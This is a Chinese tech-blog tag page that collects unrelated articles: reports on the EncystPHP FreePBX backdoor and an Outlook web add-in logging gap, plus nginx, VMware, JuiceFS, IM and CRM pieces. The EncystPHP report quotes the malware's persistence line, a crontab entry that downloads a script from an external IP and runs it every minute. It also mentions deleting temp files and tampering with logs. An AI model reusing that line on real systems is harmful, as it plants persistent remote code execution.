包含关键字 typecho 的文章

研究人员发现一款新型高级 Web 后门已潜入通信基础设施,该恶意程序利用高危漏洞将正常的电话系统改造为可长期控制的后门。飞塔安全防护实验室(FortiGuard Labs)将其命名为EncystPHP,这款恶意软件是针对 FreePBX 环境攻击行动的最新武器,而 FreePBX 是一款广泛应用的开源 IP 语音(VoIP)服务管理平台。
相关攻击行动始于 12 月初,攻击者利用一个身份验证后命令注入漏洞(CVE-2025-64328) 突破网络边界。成功入侵后,该恶意软件将被激活,其搭载多项高级功能,包括远程命令执行、持久化驻留机制及 Web 后门部署
此次攻击行动被证实为某知名黑客组织的手笔,飞塔安全防护实验室已将该攻击行为溯源至黑客组织INJ3CTOR3—— 这一威胁行为者向来以攻击 VoIP 系统为主要目标。
该组织最早于 2020 年被发现利用 CVE-2019-19006 漏洞发起攻击,2022 年又将攻击目标转向 Elastix 系统,如今其攻击手段再次升级。报告指出:我们判定此次攻击行动,属于 INJ3CTOR3 组织近期的攻击活动及行为模式
已监测到的攻击事件均遵循固定流程:先利用 FreePBX 漏洞实施攻击,再在目标环境中部署 PHP Web 后门。有记录显示,某起攻击的源地址为巴西,攻击目标是一家主营云服务与通信服务的印度科技公司所管理的业务环境。
EncystPHP 被设计为高度隐蔽的恶意程序,它通过模仿 FreePBX 的合法组件,试图规避安全工具的即时检测,从而在被入侵的服务器中隐秘驻留。
但其攻击能力却十分强悍,这款 Web 后门为攻击者提供了一套功能完善的受害主机控制工具,支持攻击者执行任意系统命令,相当于让攻击者掌握了整个 PBX 系统的控制权。
最令人警惕的是,该恶意软件高度重视持久化驻留能力。报告详细说明,EncystPHP 会利用 Linux 标准工具实现持久化驻留,确保自身能在系统重启或简单的安全清理操作后依然存活。
分析结果显示:该恶意软件会通过 wget 工具创建定时任务(cron jobs),从外部 IP 地址(45.234.176.202)下载并执行恶意脚本。同时,它还会实施痕迹清理操作,执行rm -rf /tmp/*命令删除临时文件,并通过 sed 命令篡改系统日志。

研究人员发现其持久化脚本为license.php,其中包含如下核心代码行:

system("echo '*/1 * * * * wget http://45.234.176.202/new/k.php -O /var/lib/asterisk/bin/devnull2; bash /var/lib/asterisk/bin/devnull2' | crontab -");

此次事件为企业敲响警钟:通信系统仍是网络犯罪分子的高价值攻击目标。报告强调:该事件证明,攻击者可利用 CVE-2025-64328 漏洞部署隐蔽的持久化 Web 后门,这也凸显了未打补丁的 PBX 系统始终是黑客的重点攻击对象
飞塔安全实验室敦促所有运行 FreePBX 系统的管理员立即安装漏洞补丁,并对系统进行全面审计,排查是否存在 EncystPHP 后门痕迹及未授权的定时任务。研究人员指出,尽管此次攻击所使用的技术并非全新手段,但相关威胁仍处于活跃且持续扩散的状态

瓦罗尼斯威胁实验室(Varonis Threat Labs)发布的最新报告指出,Microsoft 365 的日志记录功能存在重大盲区,攻击者可借此窃取敏感邮件且不留下任何痕迹。这种被命名为 “Exfil Out&Look” 的攻击手段,利用 Outlook 合法插件实现数据的隐秘外泄,直接绕过安全团队用于发现入侵者的审计日志。
该漏洞的核心问题,在于 Outlook 桌面端与网页端的日志记录机制不一致。桌面端安装插件时会生成本地日志,而Outlook 网页版(OWA)在插件安装和执行过程中,不会生成任何审计日志条目。这一问题造成了严重的溯源与监控空白,让 OWA 沦为攻击者实施数据窃取的 “幽灵通道”。
插件的设计初衷是提升办公效率,但一旦落入不法分子手中,就会成为绝佳的间谍工具。瓦罗尼斯的研究人员验证发现,攻击者或恶意内部人员可通过 OWA 安装自定义插件,该插件能将用户收发的每一封邮件副本自动转发至外部服务器
正是由于日志记录功能的失效,通过 OWA 安装的插件可被恶意利用,在不生成审计日志、不留下任何取证痕迹的前提下,隐秘提取邮件数据
这与 Outlook 桌面端的正常机制形成鲜明对比 —— 桌面端的插件安装行为会被完整记录在日志中。但在以云为核心的 OWA 环境中,上述操作全程处于日志不可见状态。对于那些高度依赖统一审计日志开展威胁检测和事件调查的企业而言,这一盲区会让恶意插件或权限过度开放的插件长期隐秘运行,不被发现。
报告明确了该漏洞可能引发严重后果的多种场景:
  • 恶意内部人员作案:员工在离职前安装自定义插件,窃取自身的通信邮件记录。由于插件的安装和执行不会生成任何审计日志,安全团队无法发现相关操作
  • 账户遭入侵利用:外部攻击者通过钓鱼攻击获取账户权限后,可安装该插件,以此长期持续获取受害者的邮件流数据
  • 高权限账户滥用:恶意管理员可在整个企业内部部署该恶意插件,实现对所有外发邮件的全面拦截
  • 供应链投毒:看似合法的第三方插件,可能隐藏着以 “AI 处理” 为名义的数传功能,企业对此类数据外泄行为完全无迹可查
最令人担忧的,当属厂商对此问题的回应。瓦罗尼斯已于 2025 年 9 月向微软披露该漏洞,但经微软评估后,将 “Exfil Out&Look” 归为低严重性产品缺陷或功能建议,且暂无立即修复或发布补丁的计划

从 Clawdbot、Moltbot 到 OpenClaw,一只“红色龙虾”在 2026 年开年搅动了整个 AI 圈。无论是因商标争议被迫改名,还是从依附到独立的定位重塑,OpenClaw 和由其催生的 Agent 社交平台 Moltbook 成了霸占所有技术社群的“超级头条”。

图片

剥离群体性 FOMO 焦虑和自媒体造势哄抬这些噪音后,OpenClaw 的核心价值依然极具穿透力。作为行动导向型智能体,OpenClaw 的惊艳之处在于利用 IM 的入口价值与 AI 协作。用户无需切换应用,仅需在最熟悉的聊天窗口下达指令,它就能在本地系统或网络中执行任务。

图片

而当 OpenClaw 在 GitHub 上星数飙升时,开发者面临着一个更现实的问题:如何在自己的商业产品中,快速复刻这种“聊天即操作”的体验?

试玩 OpenClaw 当然乐趣无限,但在 App 中实现这种体验会遭遇重重工程挑战:复杂的账号体系关联、高并发下的消息可靠性保障、多端同步的逻辑一致性、严格的安全与访问权限设计……这些皆是必须啃下的“硬骨头”。

融云提供了更成熟的解决方案。它超越了简单的消息通道,通过“独立的机器人用户类型”这一原生能力,让开发者能在自身业务中便捷地构建可运营、商业化的 AI 交互。开发者无需重构现有架构,即可将类似 OpenClaw 的强大本地执行能力与融云全球化的 IM 基础设施无缝对接,实现专业级 AI 助手部署。

融云服务价值

独立的机器人用户类型:赋予 AI 原生身份

在技术实现上,融云为机器人用户分配 userId、昵称、头像及类型标识,使其在 IM 生态中拥有独立的原生身份,而非一个伪装成普通用户的脚本。这种原生身份带来三重关键优势:

✅对开发者,无需为机器人编写特殊的消息处理逻辑,降低开发成本;

✅对最终用户,能清晰识别对话对象为 AI,建立合理预期;

✅对系统设计,可为其配置专属的交互界面、功能权限与业务流,实现深度集成。

消息驱动的任务执行:让 IM 变身业务处理中心

融云强大的自定义消息协议,为 AI 指令提供了肥沃的传输土壤。这意味着,AI 机器人不仅能回复,更能直接驱动相关工作流。例如,通过一条结构化消息,AI 可在对话流中直接弹出表单、发起支付或触发审批流程。这种“消息即指令、对话即操作”的能力,使 IM 窗口从一个单纯的聊天工具,变为高效的业务处理与分发中心。

商业化落地的易用性:封装底层复杂工程

从炫酷 Demo 到稳定可靠的商业级应用,其间横亘着海量消息并发、实时同步、链路保障等工程难题。融云已将这些底层难题一并封装。开发者通过调用简洁接口,即可稳定、高效地关联 OpenClaw 等能力,并在流式消息、内容审核等周边服务的支持下,灵活实现各类业务需求。

同时,融云支持基于机器人的细粒度事件回调(如群聊@指令),助力开发者精准把握用户互动意图,实现定制化的业务处理与运营分析。

场景示例

将融云稳定、丰富的 IM 能力与 OpenClaw 类 AI 强大的行动力结合,可赋能丰富的商业场景:

智能客服场景:AI 客服分身与实时监控

融云能力:提供 AI 客服分身管理,支持人工坐席实时监控与无缝介入。

AI 能力:作为智能后台,实时监控系统指标、自动生成业务简报。融合价值:AI 在前端高效处理常规咨询,当接收到关键指标,即通过融云消息通道联动人工坐席,实现“前端对话,后端洞察”的深度人机协同。
图片

社交与社群场景:从被动响应到主动运营

融云能力:具备对话事件策略(如冷场破冰、场景化开场白)。

AI 能力:可监听外部事件(如定时任务、API 回调)。

融合价值:打破“有问才答”的被动模式。比如当监测到用户关注的事件/人物动态时,可以配合“冷场破冰”或“开场白”等场景化 AI 回复能力,实现主动式用户运营。

商业沟通场景:高拟真的执行闭环

融云能力:支持加密通信、通讯录角色分权和 AI 交互策略(如聚合回复、延迟回复)。

AI 能力:拥有强大的本地工具箱(浏览器控制、文件操作、定时任务)。

融合价值:结合融云的延迟回复模拟思考过程,AI 同步执行网页抓取、文档整理等实际工作,最后将结果通过聚合消息呈现,为用户提供“专属数字秘书”般真实、高效的体验。

从大厂重兵布局 AI 群聊,到 OpenClaw 现象级爆发,行业正经历一场关于 IM 价值的“文艺复兴”。在 AI 时代,IM 已超越通信本身,成为 AI 落地商业场景的最佳容器和原生入口。融云作为专业的智能通信云服务商,正致力于为开发者铺平这条融合之路。

无论是快速验证 AI 助手的产品价值,还是构建高并发、高可用的成熟 AI 商业产品,融云都能提供从实验验证到规模化部署的完整路径与确定性支撑。

IIS 需要使用 Windows server 的服务器管理器安装,而且强依赖 Windows server,nginx 就不一样了,可以在 Windows、Linux 使用。

首先下载 nginx, https://nginx.org/en/download.html

Windows 直接下载.zip 解压即可
Linux 下载.tar.gz 解压配置环境变量等,也可以编译安装

这里以 Windows 做配置案例,配置文件大部分语法都是通用的,没有什么影响。

image
解压后文件结构如图(cert 是我新建的,放证书文件的)

image
编辑 conf 目录下的 nginx.conf

复制
#user nobody;
worker_processes 1;

#error_log logs/error.log;
#error_log logs/error.log notice;
#error_log logs/error.log info;

#pid logs/nginx.pid;


events {
    worker_connections 1024;
}


http {
    include mime.types;
    default_type application/octet-stream;

    #log_format main '$remote_addr - $remote_user [$time_local] "$request" '
    # '$status $body_bytes_sent "$http_referer" '
    # '"$http_user_agent" "$http_x_forwarded_for"';

    #access_log logs/access.log main;

    sendfile on;
    #tcp_nopush on;

    #keepalive_timeout 0;
    keepalive_timeout 65;

    #gzip on;

    server {
        listen 80;
        server_name localhost;

        #charset koi8-r;

        #access_log logs/host.access.log main;

        location / {
            root html;
            index index.html index.htm;
        }

        #error_page 404 /404.html;

        # redirect server error pages to the static page /50x.html
        #
        error_page 500 502 503 504 /50x.html;
        location = /50x.html {
            root html;
        }

        # proxy the PHP scripts to Apache listening on 127.0.0.1:80
        #
        #location ~ \.php$ {
        # proxy_pass http://127.0.0.1;
        #}

        # pass the PHP scripts to FastCGI server listening on 127.0.0.1:9000
        #
        #location ~ \.php$ {
        # root html;
        # fastcgi_pass 127.0.0.1:9000;
        # fastcgi_index index.php;
        # fastcgi_param SCRIPT_FILENAME /scripts$fastcgi_script_name;
        # include fastcgi_params;
        #}

        # deny access to .htaccess files, if Apache's document root
        # concurs with nginx's one
        #
        #location ~ /\.ht {
        # deny all;
        #}
    }


    # another virtual host using mix of IP-, name-, and port-based configuration
    #
    #server {
    # listen 8000;
    # listen somename:8080;
    # server_name somename alias another.alias;

    # location / {
    # root html;
    # index index.html index.htm;
    # }
    #}


    # HTTPS server
    #
    #server {
    # listen 443 ssl;
    # server_name localhost;

    # ssl_certificate cert.pem;
    # ssl_certificate_key cert.key;

    # ssl_session_cache shared:SSL:1m;
    # ssl_session_timeout 5m;

    # ssl_ciphers HIGH:!aNULL:!MD5;
    # ssl_prefer_server_ciphers on;

    # location / {
    # root html;
    # index index.html index.htm;
    # }
    #}

}

上面是默认内容,看起来很多,很麻烦,实际上很简单,#开头的都是注释,可以全部删掉,也可以备份一份文件后面参考。

复制
worker_processes 1;

events {
    worker_connections 1024;
}


http {
    include mime.types;
    default_type application/octet-stream;

    sendfile on;

    keepalive_timeout 65;

    server {
        listen 80;
        server_name localhost;

        location / {
            root html;
            index index.html index.htm;
        }

        error_page 500 502 503 504 /50x.html;
        location = /50x.html {
            root html;
        }

    }

}

如果我们删除注释,就如上。

本文只需要知道怎么部署静态网站,所以只关注 server 块

listen:监听端口
server_name:你的域名
location:路径配置

默认情况是不需要配置任何文件的,只需要将静态文件放到 html 文件夹下,如果不方便,需要改配置,比如改为 mypage,那么直接将root html改为root mypage

这个路径不带前缀是相对路径,相对于 nginx.exe

接下来是启动,如果直接双击 nginx,会弹出一个窗口。

image
直接双击,有个窗口一闪而过,然后看任务管理器才知道启动没有

一般是启动 cmd,然后运行 nginx.exe 这样有问题也会报错,可以看到详情

image
访问正常

相对来说,nginx 部署要比 IIS 简单。

image
检查配置命令:nginx.exe -t

重新加载配置文件:nginx.exe -s reload(需要启动 nginx 的情况下使用,可以用 start nginx.exe 启动 nginx 防止窗口被占用)

结束进程:nginx.exe -s quit

VMware Skyline Health Diagnostics 4.0.11 - 自助式诊断与健康检查平台

适用于 VMware vSphere、vSAN、VCF 和 SD-WAN 产品的健康诊断

请访问原文链接:https://sysin.org/blog/vmware-skyline-health-diagnostics/ 查看最新版。原创作品,转载请保留出处。

作者主页:sysin.org


VMware Skyline Health Diagnostics 是一个自助式健康与诊断平台,可帮助用户在 VMware 环境中检测和排查问题。该平台利用日志包、配置与健康信息以及其他相关数据来识别潜在问题,并推荐相应的 VMware 知识库(Knowledge Base)文章修复步骤,以协助解决在 vSphere、vSAN、VMware Cloud Foundation、VMware Horizon 以及 VMware SD-WAN 产品中遇到的复杂问题。

该平台支持联网模式和离线模式运行。用户可以在联系 VMware 技术支持之前,使用该解决方案对环境健康状况进行监控,并执行安全检查、升级前检查、健康检查以及问题排查

Skyline Health Diagnostics Architecture

关于 Skyline Health Diagnostics

VMware Skyline Health Diagnostics 是 VMware 提供的自助式诊断与健康检查平台。它可以帮助你完成以下工作:

  • 诊断各类故障或已知问题,并以知识库(KB)文章修复步骤的形式提供建议
  • 运行健康检查
  • 了解 VMware 安全公告(VMware Security Advisories)的适用性及相关解决方案
  • 识别可能影响产品更新或升级的问题
  • 使用 Log Assist 启动日志传输,将日志发送至 Broadcom 技术支持

该平台通过分析产品日志、配置信息以及其他相关数据来检测问题,并以 KB 文章或修复步骤的形式提供改进建议。

vSphere 管理员可以在联系 VMware 全球技术支持服务之前,使用该工具对问题进行排查。该平台能够检测并为 vSphere 产品线中的问题提供修复建议,并以知识库文章或修复步骤的形式呈现。它支持离线模式断网环境运行,并通过分析产品日志来发现问题。

vSphere 管理员可在联系 VMware 全球技术支持服务之前使用该工具进行故障排查。通过使用 Skyline Health Diagnostics,你的运维人员或支持工程师可以在 VMware vSphere 环境中显著节省问题定位、原因分析以及快速解决问题的时间

支持的 VMware 产品与浏览器兼容性

支持的 VMware vSphere 版本:

  • VMware ESXi 版本 6.5、6.7、7.0 及其更新版本,以及 8.0 和 9.0。
  • VMware vCenter 版本 6.5、6.7、7.0 及其更新版本,以及 8.0 和 9.0。

支持的 VMware vSAN 版本:

  • VMware vSAN 版本 6.5、6.7、7.0 及其更新版本,以及 8.0 和 9.0。

支持的 VMware Cloud Foundation 版本:

  • VMware Cloud Foundation 版本 4.0、4.1、4.2、4.3、4.4、4.5、5.x 以及 9.x。

支持的 VMware SD-WAN 版本:

  • VMware SD-WAN 版本 3.4、4.0、4.2、4.3、4.5、5.0、5.1 以及 5.2。

支持的 Web 浏览器:

新增功能

VMware Skyline Health Diagnostics 4.0.11 | 20 January 2026

新的主动发现(New Proactive Findings)

  • 本次版本新增 55 条已验证的新规则 以及最新的 VMSA 签名校验,增强了对潜在问题的可见性,有助于更快地解决问题并提升性能管理能力。
  • 本次更新还包含多项客户反馈的缺陷修复

注意:UI 中的在线升级(Online Upgrade)选项已被取消。请使用离线升级包(offline bundle)来升级 Skyline Health Diagnostics。

下载地址

VMware Skyline Health Diagnostics Virtual Appliance OVA 4.0.11

更多:VMware 产品下载汇总

1)UE的粒子系统开销怎么优化
2)哪里能下载或共享Adreno Offline Compiler
3)怎样测试游戏在各个机型上的安装/进游戏的成功率


这是第463篇UWA技术知识分享的推送,精选了UWA社区的热门话题,涵盖了UWA问答、社区帖子等技术知识点,助力大家更全面地掌握和学习。

UWA社区主页:community.uwa4d.com
UWA QQ群:793972859

From 问答社区

Q:我在UE的项目中看到粒子系统在Game Thread和Render Thread都有一个耗时指标,有的区间中主线程有开销但渲染线程中却基本没有,它们之间有什么关系吗,主要是受什么影响?

A:简单来说,Game Thread负责粒子系统的逻辑计算,而Render Thread负责渲染数据的准备和提交,它们本身是并行的,所以开销不匹配也是正常的。

要优化的话也是先关注哪一部分开销更大,然后针对性去优化就行。

如果你用的是Niagara也可以参考下官方的文档:
https://dev.epicgames.com/documentation/zh-cn/unreal-engine/m...

欢迎大家转至社区交流:
https://answer.uwa4d.com/question/6980641e92894f1c4f0c234d


From 问答社区

Q:哪里能下载Adreno Offline Compiler?或可以共享?

Adreno官网找不到,打开以下网址显示Software Restricted:
https://softwarecenter.qualcomm.com/catalog/item/Adreno_GPU_O...

A:可以找一下这个Gears安装目录里这个路径下,最新的安装包里是有相应插件的。

欢迎大家转至社区交流:
https://answer.uwa4d.com/question/6970895792894f1c4f0c234a


From 问答社区

Q:测试游戏在各个机型上的安装/进游戏成功率一般是用什么测试?

欢迎大家转至社区交流:
https://answer.uwa4d.com/question/69805f6c92894f1c4f0c234c

无论是社区里开发者们的互助讨论,还是AI基于知识沉淀的快速反馈,核心都是为了让每一个技术难题都有解、每一次踩坑都有回响。本期分享分别来自UWA AI问答和UWA问答社区,希望这些从真实开发场景中提炼的经验,能直接帮你解决当下的技术卡点,也让你在遇到同类问题时,能更高效地找到破局方向。

封面图来源于网络


今天的分享就到这里。生有涯而知无涯,在漫漫的开发周期中,我们遇到的问题只是冰山一角,UWA社区愿伴你同行,一起探索分享。欢迎更多的开发者加入UWA社区。

UWA官网:www.uwa4d.com
UWA社区:community.uwa4d.com
UWA学堂:edu.uwa4d.com
官方技术QQ群:793972859

昨天用阿里云的一键搭建 clawdbot ,接入了钉钉。就对话了两句,直接死了

还以为是国内问题,买个新加坡机器也是一样。阿里云是真拉胯。啥热点都追还干不好。

本文为您视频展示DeepResearch复杂推理与长多步推理、日常生活规划与决策、深级别的跨学科问答、需要详细且真实的旅行行程、司法与成文法解释、多情境研究写作场景下的应用。


复杂推理与长多步推理

复杂的多步推理任务,需要网络搜索、跨来源信息综合以及工具编排,以解决具有动态且时间敏感数据的现实世界查询。

点击查看视频示例

imageimage

日常生活规划与决策

日常任务具有现实世界的复杂性,需要特定的事实检索、多步推理以及跨时间和地理背景进行精确的数值比较,且格式限制严格。

点击查看视频示例

imageimage

深级别的跨学科问答

这些问题需要跨越相互关联的数学和科学领域进行深度多步推理,要求将高级理论知识与计算分析相结合。

点击查看视频示例

imageimage

详细且真实的旅行行程

旅行规划问题具有高度的个性化和约束复杂性,需要在地理空间、时间窗口、预算限制和个人偏好等多维约束下寻找最优解,呈现出组合优化与开放式决策并存的特征。

点击查看视频示例

imageimage

司法与成文法解释

法律问题通常涉及多维度论证需求,需要结合具体法条、判例和学理支撑,具有高度专业性、论证链条长、需要权威来源佐证。

点击查看视频示例

imageimage

多情境研究写作

总结近期关于强化学习研究进展,重点是使智能体在奖励稀疏和约束条件下高效且主动地探索。此外,分析并讨论该研究对轨迹规划问题的潜在启示和见解。

点击查看视频示例

imageimage


面向深度的查询问答和调研分析需求场景,多步骤推理规划研究路径,生成有洞察、可溯源、图文并茂的长文报告-大模型服务平台百炼(Model Studio)-阿里云帮助中心

欢迎加入讨论钉钉群,在这里您可以与其他用户进行深入交流,分享使用经验或获取更多技术支持,群号102415041551。

JuiceFS 企业版 5.3 近日发布,单文件系统支持超 5,000 亿文件,实现里程碑式突破。此次升级针对元数据多分区架构进行了多项关键优化,并首次引入 RDMA 技术,以提升分布式缓存效率;此外,5.3 版本还增强了可写镜像,为跨桶导入的对象提供数据缓存等多项功能,旨在支持高性能要求及多云应用场景。

JuiceFS 企业版专为高性能场景设计。自 2019 年起开始应用于机器学习领域,现已成为 AI 行业核心基础设施之一。商业客户涵盖大模型公司:MiniMax、智谱 AI、阶跃星辰;AI 基础设施及应用如 Fal.ai、HeyGen 等;自动驾驶领域的 Momenta、地平线等,以及众多应用 AI 技术的各行业领先科技企业。

01 单文件系统支持超 5,000 亿文件

多分区架构是 JuiceFS 应对千亿文件规模的关键技术之一,保证了系统的高扩展性和高并发处理能力。为了继续满足如自动驾驶场景业务增长的需求,5.3 版本对多分区架构进行了深入优化,将分区数量限制提高到 1,024 个,单文件系统能够存储和访问至少 5,000 亿个文件。(每个分区可存储 5 亿个文件,最大支持 20 亿)。

这一突破对系统性能、数据一致性、稳定性要求提出了几何级的难度,背后是一系列繁杂的底层优化与研发工作。

关键优化 1 - 分区间热点均衡:自动监测和热点迁移;提供手动运维工具

在分布式系统中,热点问题是常见的挑战,特别是当数据被分布到多个分区时,某些分区的负载可能比其他分区更高,这种不均衡会引发热点问题,影响系统的性能。

当分区数量达到数百时,热点问题变得更加普遍。尤其是在数据集较小、涉及的文件数量较多的情况下,读写热点问题会加剧,进一步增加延迟波动。

我们引入了自动化的热点迁移机制,将访问频繁的文件迁移到其他分区,从而分担负载并降低特定分区的压力。然而在实际环境中,我们发现仅依赖自动迁移并不能完全解决所有问题。特别是在某些特殊场景或极端情况下,自动迁移工具可能无法及时应对。因此,我们在自动监测和迁移的基础上,增加了手动运维工具,允许运维人员在遇到复杂场景时介入,进行人工分析并实施优化方案

关键优化 2 - 大规模迁移:提升迁移速度,少量多次并发迁移

面对热点过高的分区,早期的迁移操作比较简单,但随着系统规模扩大,迁移效率逐渐降低。为此,我们引入了“少量多次并发迁移”的策略,将高访问量的目录分解成多个小块,并行迁移到多个负载较低的分区,从而迅速分散热点,恢复业务的正常访问体验。

关键优化 3 - 强化可靠性自检:自动修复与清理迁移中间态文件

在大规模集群中,分布式事务的失败概率显著上升,特别是在大量迁移过程中。为应对这一问题,我们增强了可靠性检测机制,增加了后台周期性的检查功能,定期扫描跨分区文件的状态,特别关注中间状态问题,并自动进行修复和清理

此前,系统曾遇到过中间状态数据残留的问题,虽然短期内未影响系统运行,但随着时间推移,这些残留数据可能导致错误。通过增强的自检机制,我们确保了后台能够定期扫描并及时处理中间状态问题,从而提升了系统的稳定性和可靠性。

除了上述三项关键优化外,我们还在控制台进行了多项改进,以更好地适应更多分区的管理需求。我们优化了并发处理、运维操作和查询展示,提升了整体性能和用户体验。特别是,在 UI 设计方面,我们做了优化,以便更好地展示大规模分区环境下的系统状态。

千亿文件性能压测:稳定性与资源利用良好

我们在谷歌云上使用自定义的 mdtest 测试工具进行了大规模测试,部署了 60 个节点,每个节点的内存超过 1 TB。在软件配置方面,我们将分区数增加至 1,024 个。部署方式与之前类似,为了降低内存消耗,我们选择仅部署一个服务进程,另两个作为冷备。

  • 测试持续时间:大约 20 小时
  • 写入的文件总数:约 4,000 亿个文件
  • 每秒写入速度:500 万个文件
  • 内存占用:约 35% 到 40%
  • 硬盘使用: 40% 到 50%,主要用于元数据的持久化,使用情况良好

根据我们的经验,如果采用一个服务进程、一个热备进程和一个冷备进程的配置,内存占用会增加 20% 到 30%。

由于云端资源有限,本次测试只写到 4,000 亿文件。在压测过程中,系统表现稳定,且硬件资源尚有富余。后续,我们会继续尝试更大规模的测试。

02 首次支持 RDMA:带宽上限提升,CPU 占用降低

在此次新版本中首次支持了 RDMA(Remote Direct Memory Access)技术,它的基本原理架构如下图所示。RDMA 通过允许直接访问远程节点的内存,绕过操作系统的网络协议栈,显著提高了数据传输效率。

RDMA 的主要优点包括:

  1. 低延迟:通过直接从内存到内存的传输,绕过操作系统的网络协议层,减少 CPU 的中断和上下文切换,从而降低延迟。
  2. 高吞吐量:RDMA 通过硬件直接传输数据,能够更好地发挥网卡(NIC)的带宽。
  3. 减少 CPU 占用:在 RDMA 中,数据的拷贝几乎全部由网卡完成,CPU 仅用于处理控制消息。这样,网卡负责硬件传输,释放了 CPU 的资源。

在 JuiceFS 中,客户端与元数据服务之间的网络请求消息都较小,现有的 TCP 配置已能满足需求。而在分布式缓存中,客户端与缓存节点之间传输的是文件数据,使用 RDMA 可以有效提升传输效率,降低 CPU 消耗。

我们使用了 160 Gbps 网卡进行 1MB 随机读测试,比较了 5.1、 5.2(使用 TCP 网络) 和 5.3 版本(RDMA),并观察了 CPU 占用情况。测试表明,RDMA 有效降低了 CPU 占用。在 5.2 版本中,CPU 占用了近 50%;而在 5.3 版本中,通过 RDMA 优化,CPU 占用降至约 1/3。客户端和缓存节点的 CPU 占用分别降至 8 核和 5 核,带宽达到了 20 GiB/s

在以往的测试中,我们发现 TCP 在 200G 网卡下虽然稳定运行,但要完全拉满带宽仍有困难,通常只能达到 85-90% 的带宽利用率。对于需要更高带宽(如 400G 网卡)的客户,TCP 无法满足需求,而 RDMA 能够更容易地发挥硬件带宽上限,提供更优的传输效率

如果用户的硬件支持 RDMA 且存在高带宽需求(如网卡大于 100G),同时希望降低 CPU 占用,那么 RDMA 是值得尝试的技术。目前,我们的 RDMA 功能处于公测阶段,尚未在生产环境中广泛部署。

03 可写镜像增强

最初,镜像集群主要用于企业产品中的只读镜像。随着用户提出在镜像中写入临时文件(如训练数据)等需求,我们为此提供了可写镜像功能。

镜像客户端在实现时采用了读写分离机制。客户端在读取数据时优先从镜像集群获取,以降低延迟;而写入数据时,仍然需要写入源集群,以确保数据一致性。通过元数据版本号的记录与对比,我们确保了镜像客户端和源集群客户端看到的数据保持强一致性。

为了提升可用性,我们在 5.3 版本引入了回退机制,即当镜像不可用时,客户端的读请求能自动回退到源集群,从而保证业务连续性,避免镜像集群故障导致的业务中断。我们还优化了多镜像环境的部署。原先,镜像端需要部署两个热备节点以确保高可用性。现在,通过改进的回退功能,部署一个镜像节点也能实现类似的效果,确保业务连续性并降低成本,尤其适用于需要多个镜像的用户。

通过这一改进,我们不仅降低了硬件成本,还在高可用性和低成本之间找到了平衡。对于那些在多个地点部署镜像的用户,减少元数据副本的同时进一步降低了总体成本。

04 简化运维管理,提升灵活性:为导入对象提供跨桶数据缓存

在 JuiceFS 中,用户可以使用 import 命令将对象存储中的现有文件导入并统一管理。这对于已经存储大量数据(如几十 PB)的用户来说十分便捷。但在之前版本中,这一功能仅支持为同一数据桶中的对象提供缓存,意味着导入的对象必须与现有文件系统数据处于同一个桶内。这一限制在实际使用中带来了一定局限性。

在 5.3 版本中,我们对该功能进行了改进。现在,用户可以为任何导入的对象提供缓存能力,无论这些对象是否来自同一数据桶。这样,用户可以更加灵活地管理不同数据桶中的对象,避免了对数据桶的严格限制,从而提升了数据管理的自由度。

此外,以前如果用户将数据分布在多个桶中,想要为这些桶中的数据提供缓存能力,需要为每个桶新建一个文件系统。而在 5.3 版本中,用户只需创建一个文件系统(volume),便可统一管理多个桶的数据,并为所有桶提供缓存能力。

05 其他重要优化

Trace 功能

我们新增了 trace 功能,这是 Go 语言本身提供的一个特性。通过这个功能,资深用户可以进行追踪和性能分析,获得更多信息,帮助我们快速定位问题。

回收站恢复

在之前的版本中,特别是在多分区的情况下,有时回收站记录的路径不完整,导致恢复时出现异常,未能恢复到预期位置。为了解决这个问题,在 5.3 版本中,在删除文件时,我们会记录文件的原始路径,确保恢复时能够提供更可靠的恢复能力。

Python SDK 改进

在前几个版本中,我们发布了 Python SDK,它提供了基础的读写功能,方便 Python 用户与我们的系统对接。在 5.3 版本中,我们不仅加强了基础读写功能,还增加了对运维子命令的支持。例如,用户可以直接通过 SDK 调用 juicefs info 或 warmup 等命令,而不需要依赖外部系统命令。这不仅简化了编码工作,并且避免了频繁调用外部命令时可能产生的性能瓶颈。

Windows 客户端

我们在之前版本中推出了 Windows 客户端 Beta 版本,并已获得不少用户反馈。经过改进,当前版本在挂载的可靠性、性能以及与 Linux 系统的兼容性上都有了显著提升。未来,我们计划进一步完善 Windows 客户端,为依赖 Windows 的用户提供更接近 Linux 的体验。

06 小结

相较于昂贵的专用硬件,JuiceFS 通过灵活地利用云上或客户现有的存储资源,帮助用户在应对数据增长时平衡性能与成本。在 5.3 版本中,通过优化元数据分区架构,单文件系统可支持超过 5,000 亿个文件。首次引入的 RDMA 技术显著提升了分布式缓存带宽和数据访问效率,减少了 CPU 占用,进一步优化了系统性能。此外,我们还优化了可写镜像、缓存等多项功能,提升了大规模集群的性能和运维效率,优化用户体验。

云服务用户现已可以直接在线体验 JuiceFS 企业版 5.3,私有部署用户可通过官方渠道获得升级支持。我们将继续专注于高性能存储解决方案,和企业一起应对数据量的持续增长所带来的挑战。

如果你在存储架构设计、成本控制或性能优化中遇到过问题,或有相关实践心得,欢迎在评论区留言。

本文专为电子制造企业设计的CRM选型决策框架,对市场上五款主流CRM系统,包括纷享销客、Salesforce、销帮帮、SAP、Oracle、神州云动等进行深度分析~ 
电子制造业是我国经济的战略性、基础性和先导性支柱产业,渗透性强、带动作用大,在推进智能制造、加快强国建设中具有重要的地位和作用。

但产品迭代快、客户要求高、交付节奏紧,靠Excel和微信管理客户,早就跟不上了。据IDC《2025年中国制造业数字化转型白皮书》指出,78%的电子制造企业已将CRM纳入核心IT投资清单,其中超过六成企业计划在未来两年内完成系统升级或替换。可是市面上CRM产品五花八门,有的功能强大却贵得离谱,有的便宜好上手却撑不住复杂业务。到底该怎么选?

一、电子制造企业对CRM的核心诉求

1、成本与效率压力:劳动力、原材料成本上升,营业利润率收紧,传统成本优势被侵蚀,亟需通过数字化手段提升运营效率与资源利用率。
2、供应链复杂性剧增:全球供应链重构与外包生产模式普及,带来质量控制难、透明度低等挑战,供应链管理错综复杂,对协同响应能力提出更高要求。
3、产品与需求变化快:产品生命周期短,客户对交货期要求严苛;消费者需求变化快,产销协调难度大。企业需具备更强的市场响应与柔性生产能力。
4、生产模式转型挑战:EMS行业正向“小批量、多品种”模式转变,传统大规模生产模式难以适应,要求系统支持灵活配置与快速交付。
5、内部协同与数据孤岛:IT系统间存在信息断点,全业务链端到端流程未打通,导致沟通协同成本高、整体效率低下,制约整体运营效能。
6、全球化运营挑战:跨国客户、多地工厂、多币种结算,要求系统具备多语言、多时区、合规性支持。 

二、5款热门CRM系统深度剖析:谁更适合电子制造业?

